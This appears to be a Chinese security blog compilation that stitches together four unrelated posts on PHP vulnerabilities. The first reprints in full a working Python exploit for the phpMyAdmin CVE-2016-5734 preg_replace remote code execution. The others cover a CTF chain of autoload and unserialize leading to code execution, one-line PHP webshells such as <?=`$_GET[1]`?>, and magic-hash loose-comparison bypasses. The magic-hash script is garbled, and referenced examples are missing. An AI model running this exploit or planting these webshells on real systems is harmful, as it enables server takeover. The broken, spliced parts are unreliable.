这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞，漏洞在exploit-db上有利用脚本，经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。
0x01 漏洞触发原理
preg_replace漏洞触发有两个前提：
01：第一个参数需要e标识符，有了它可以执行第二个参数的命令
02：第一个参数需要在第三个参数中的中有匹配，不然echo会返回第三个参数而不执行命令，举个例子：
//echo preg_replace('/test/e', 'phpinfo()', 'just test');
//这样是可以执行命令的
//echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');
//echo preg_replace('/tesxt/e', 'phpinfo()', 'just test');
//这两种没有匹配上，所以返回值是第三个参数，不能执行命令
0x02 触发漏洞位置回溯
cve-2016-5734的漏洞问题出现在TableSearch.class.php中的_getRegexReplaceRows函数，让我们看看这个函数：
phpmyadmin_1
$find ,和 $replaceWith可以看到在preg_replace中被引用，让我们回溯这两个变量，在getReplacePreview中有调用_getRegexReplaceRows函数
phpmyadmin_2
继续回溯，在tbl_find_replace中有调用getReplacePreview，同时参数是post传入，下面让我们看看如何利用构造
phpmyadmin_3
0x03 构造利用
漏洞利用思路：这个漏洞目前没法直接利用，因为有token限制，需要登陆抓到token，同时需要构造第三个参数保证和第一个参数匹配上，第一个参数可控，但是第三个参数是从数据库中取出的，所以只能提前插入到数据库中，然后再取出来，columnIndex是取出字段值的可控，所以第三个参数也可控了。
流程大概走了一圈，下面看看怎么构造，首先这个漏洞需要有创建表插入字段权限的账号，这里直接用的root账号测试的，先创建个表，然后表中插入个字段值为"0/e"
phpmyadmin_4
#!/usr/bin/env python
# cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
# Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
# CVE: CVE-2016-5734
# Author: https://twitter.com/iamsecurity
# run: ./cve-2016-5734.py -u root --pwd='' http://localhost/pma -c "system('ls -lua');"
# https://www.exploit-db.com/exploits/40185/
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
1. 写在前面
最近经常会遇到一些比较有意思的漏洞，比如PHP反序列化漏洞,PHP对象注入。这些漏洞可能在平时很难遇到，但是在CTF以及一些CMS倒是经常看到他们的背影。今天刚刚好手上看到了某CTF的代码，但是并没有获取所有源码，因此修改了部分代码进行分析。
2. 自动加载
2.0 为什么要自动加载？
在面向对象编程中，程序员经常会编写好类然后在一个入口文件中将它们包含进来。如果一个项目非常大，可能存在成百上千个类文件，如果一一包含进去，那么入口文件就会显得特别大并且不利于维护。因此，PHP5提供了一种自动加载机制。
2.1 __autoload
index.php
function __autoload($classname){
$class_file = strtolower($classname).".php";
if(file_exists($class_file)){
require_once("$class_file");
}else{
echo "$class_file does not exist!";
}
}
$obj = new File();
访问index.php,程序会尝试实例化File类。PHP的解析器会自动调用__autoload()函数。假设当前目录下没有file.php,那么就会输出 “file.php does not exist!” 并且抛出错误。
file.php
class File{
function __construct(){
echo "File class is instantiated";
}
}
此时访问index.php,就会得到 “File class is instantiated” 的结果。这样一来，自动加载机制就非常好理解了。
2.2 手动调用 spl_autoload
void spl_autoload ( string $class_name [, string $file_extensions ] )
它可以接收两个参数，第一个参数是$class_name，表示类名。第二个参数$file_extensions是可选的，表示类文件的扩展名;如果不指定的话，它将使用默认的扩展名.inc或.php。
spl_autoload首先将$class_name变为小写，然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions参数的话)，如果找到，就加载该类文件。
同样，你可以手动使用spl_autoload(“Person”, “.class.php”)来加载Person类。实际上，它跟require/include差不多
举个例子
spl_autoload("upload");
$F = new Upload();
这里没有指定扩展名，那么就会在当前目录下寻找upload.inc或者upload.php并自动加载。其实，到这里而言，和require、include相比并没有简单。相反，它们的功能基本是一模一样的。
2.3 自动调用 spl_autoload
上面所说的使用手动的方式调用spl_autoload,工作量其实和require/include基本上差不多。调用spl_autoload_register()的时候，如果没有指定欲注册的自动装载函数，则自动注册 autoload 的默认实现函数spl_autoload()。
举个例子
spl_autoload_register();
$F = new Upload();
此时，程序会在当前路径下自动加载upload.inc或upload.php。
3. 反序列化
字符串序列化成类之前，类必须提前声明，否则无法反序列化。
字符串在反序列化的时候，会自动调用__wakeup()魔术方法
Object序列化格式 -> O:strlen(对象名):对象名:对象大小:{s:strlen(属性名):属性名:属性值;(重复剩下的元素)}
4. 漏洞剖析
index.php
include_once "common.inc.php";
if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {
include_once __DIR__ . "/" . $req["act"] . ".php";
exit;
}
common.inc.php
spl_autoload_register();
error_reporting(0);
ini_set('display_errors', false);
$req = [];
foreach([$_GET, $_POST] as $global_var) {
foreach($global_var as $key => $value) {
is_string($value) && $req[$key] = addslashes($value);
}
}
$userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];
upload.php
if($_FILES["attach"]["error"] == 0) {
if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {
$typeAccepted = ["image/jpeg", "image/gif", "image/png"];
$blackext = ["php", "php5", "php3", "html", "swf", "htm"];
$filearr = pathinfo($_FILES["attach"]["name"]);
if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {
exit("type error");
}
if(in_array($filearr["extension"], $blackext)) {
exit("extension error");
}
$filename = $_FILES["attach"]["name"];
if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {
array_push($userinfo, $filename);
setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
echo htmlspecialchars("upload success, new filename is {$filename} .");
} else {
echo "upload error!";
}
}
} else {
echo "no upload file";
}
在common.inc.php中执行了spl_autoload_register()函数，并没有使用参数。
后缀没有禁止.inc的类型
在common.inc.php会反序列化COOKIE中的数据
上传目录在当前目录下
因此我们需要如下构造:
上传一个名为info.inc的文件，抓包修改MIME类型。info.inc的内容如下所示:
class info{
function __wakeup(){
phpinfo();
}
}
修改cookie的uesrinfo字段为:O:4:”info”:0:{}
访问index.php即可触发phpinfo()函数。
The shortest webshell of PHP
某天闲逛wooyun，发现一篇挺有意思的文章————《32C3 CTF 两个Web题目的Writeup》。其中提到了两个比较有意思的东西：
The shortest webshell of PHP
PHP执行运算符反引号
上面提及的文章，我读前几遍的时候是很费解的！后来，土司的P牛给我一些指点，豁然开朗
Google “the shortest webshell”
<?=`$_GET[1]`?>
google得到的结果之一如上所示，一共15个字符。这里比较有意思的是
php.ini需要开启short_open_tag后才能使用短标签，才能使用 <?= 代替 <? echo
php中使用分号分隔语句进行解析
最后一行不需要分号
php多条语句可以写在一样，但是需要分号分隔
多个分号之间只要是空白符，php是允许的！(有待考究)
<?=`$_GET[1]`;
google得到的最短的webshell如上所示，一共14个字符
这里去掉了闭合标签，但是加上了分号
最后一行不需要分号，但是一定需要闭合标签！
此外，这种写法嵌套在其它文件中是不可行的，那么就必须写上闭合标签！
linux中bash的妙用
<?=`*`;
一个7个字符，这七个字符能做什么呢？
在linux系统中，在终端运行*与上面的作用是一样的！
*用于匹配目录下的所有文件名(包括目录名)。
反引号就是执行运算符，将目录下的文件名以命令的形式进行执行！接下来就是linux的东西了
前言
PHP是一种通用的开源脚本语言,它的语法混合了C,Java,以及Perl等优秀语言的语法。除此之外,它还提供了大量的函数库可供开发人员使用。但是,如果使用不当,PHP也会给应用程序带来非常大的安全风险。
在这篇文章中,我们将会对PHP应用程序中经常会出现的一些问题进行深入地分析,尤其是当我们使用“==”(比较运算符)来进行字符串比较时,可能会出现的一些安全问题。虽然近期有很多文章都围绕着这一话题进行过一些探讨,但我决定从“黑盒测试”的角度出发,讨论一下如何利用这个问题来对目标进行渗透和攻击。首先,我会对引起这个问题的根本原因进行分析,以便我们能够更加深入地理解其工作机制,这样才可以保证我们能够尽可能地避免这种安全问题的发生。
问题的描述
在2011年,PHP官方漏洞追踪系统发现,当字符串与数字在进行比较的时候,程序会出现某些非常奇怪的现象。从安全的角度出发,这个问题实际上并不能算是一个安全问题。比如说,你可以看到下面这段代码:
实际上,当使用类似“==”这样的比较运算符进行操作时,就会出现这样的情况。上面这个例子中出现的问题不能算是一个漏洞,因为它是PHP所提供的一种名为“类型转换”的功能。从本质上来分析,当我们使用特定的比较运算符(例如== , !=, <>)来进行操作时,PHP首先会尝试去确定参与比较的数据类型。但是这样的一种类型转换机制将有可能导致计算结果与我们预期的结果有较大出入,而且也会带来非常严重的安全问题。安全研究专家在该问题的完整披露报告中写到:这种类型转化机制将有可能导致权限提升,甚至还会使程序的密码验证过程变得不安全。
Gynvael写过一篇关于这一话题的经典文章,PHP等号运算符“==”所涵盖的数据类型非常广泛,我们给大家提供了一个较为完整的比较参考列表,并给出了一些示例,具体内容如下所示:
正如你所看到的,当我们使用“==”来比较这些数字字符串时,参与比较的就是字符串中数字的实际大小,从安全的角度出发,这就是一个非常有趣的问题了。在这种情况下,你可以使用科学计数法来表示一个数字,并将其放在一个字符串中,PHP将会自动把它作为一个数字类型来处理。我们之所以会得到这样的输出类型,是因为PHP使用了一种哈希算法(通常使用十六进制数值表示)来进行处理。比如说,如果一个数字为0,那么在进行松散比较的过程中,PHP会自动对其类型进行转换,但其值永远为0。对于一个给定的散列算法而言,密码就有可能会变成可以被替换的了。比如说,当密码的哈希值被转换成使用科学计数法来表示的数字时,将有可能正好与其他的密码哈希相匹配。这样一来,即使是一个完全不同的密码,也有可能可以通过系统的验证。但有趣的是,当某些采用科学计数法表示的数字在进行比较的时候,结果可能会让你意想不到:
从“黑盒测试”的角度出发来考虑这个问题
从静态分析的角度来看,这些安全问题就显得有些普通了。但如果我们从黑盒的角度来看待这些问题,我们能够得到什么样的启发呢?对于应用程序中的任何用户账号而言,如果应用程序使用了当前最为流行的哈希散列算法(例如SHA1和MD5)来对密码进行处理,而你在对密码哈希进行验证的时候使用了PHP的松散比较,那么此时就有可能出现安全问题。我们现在可以考虑进行一次典型的渗透测试,你可以创建一个普通的账号,将密码设置成哈希值类似的其中一个密码,然后使用其他的密码进行登录操作。很明显,系统的安全性完全取决于你所使用的散列算法。所以,我们假设你没有在散列算法中使用“Salt”值,那么你至少得使用两种不同的散列算法来对密码进行处理。
现在,在我们去对这些密码组合进行研究之前,我们还应该考虑到一点——即密码的要求。因为我们在对这些密码和散列算法进行分析之前,首先得确保我们所设置的初始密码复合了密码复杂度的要求,否则我们的分析和研究将会没有任何的意义。因此,我们得确保我们的密码长度至少为八个字符,密码中包含有大小写字母,数字,以及至少一个特殊字符:具体如下所示:
import random import hashlib import re import string import sys
prof = re.compile("^0+ed*[ ubbcodeplace_1 ]quot;) # you can also consider: re.compile("^d*e0+[ ubbcodeplace_1 ]quot;) prefix = string.lower(sys.argv[1])+'!'+string.upper(sys.argv[1])+"%s" num=0 while True:
num+=1 b = hashlib.sha256(prefix % num).hexdigest() if (b[0]=='0' and prof.match(b)): print(prefix+str(num),b)为此,我专门编写了一个Python脚本,虽然我没有竭尽全力去优化这个脚本的性能,但是在PyPy编译器的帮助下,这个精心编写的脚本可以在我的AMD FX8350所有可用的CPU核心中稳定运行。除此之外,我还使用到了hashlib库中的散列函数,而且为了避免遇到Python GIL的进程同步问题,我还生成了独立的进程来对密码数据进行处理。不仅如此,我还使用了非常复杂的技术来为每一个密码生成不同的前缀,正如上面这段代码所示。
分析结果
在经过了一个多小时的分析之后,我得到了四个密码的SHA1值。令我感到惊讶的是,得到四个密码的MD5值所需的时间竟然更短。
密码的计算结果十分相似,具体如下所示:
你可以随意选取两个密码来进行对比,对比的演示结果如下:
如果你无法得到如上图所示的计算结果,那么你应该感到幸运。你可以尝试将用户名和密码捆绑在一起,然后使用带“salt”值的散列算法来进行计算。你只需要修改一小部分代码即可实现,点击“这里”获取修改后的脚本。
解决方案
PHP给我们提供了一个解决方案,如果你想要对比哈希值,你应该使用password_verify()或hash_equals()这两个函数。它们会对数据进行严格比较,并排除一些其他的干扰因素。但是请你注意,hash_equals()函数也可以用于字符串的比较。
分析结论
虽然我们的分析步骤执行起来有些过于复杂,但是从黑盒测试的角度出发,我们所描述的方法也许可以给大家提供一些有价值的信息。如果某个应用程序中的密码采用了这样的一种验证机制,那么它所带来的安全问题将会超出PHP数据类型转换本身所存在的问题。
问题远不止于此
这个问题给我们带来的影响远远不止于此。攻击者可以将这些密码添加到字典文件中,然后对应用程序中的所有用户进行暴力破解攻击。而且,如果应用程序的密码恢复机制中存在不安全的因素,攻击者还有可能对目标账号进行不限次数的攻击,直到攻击成功为止。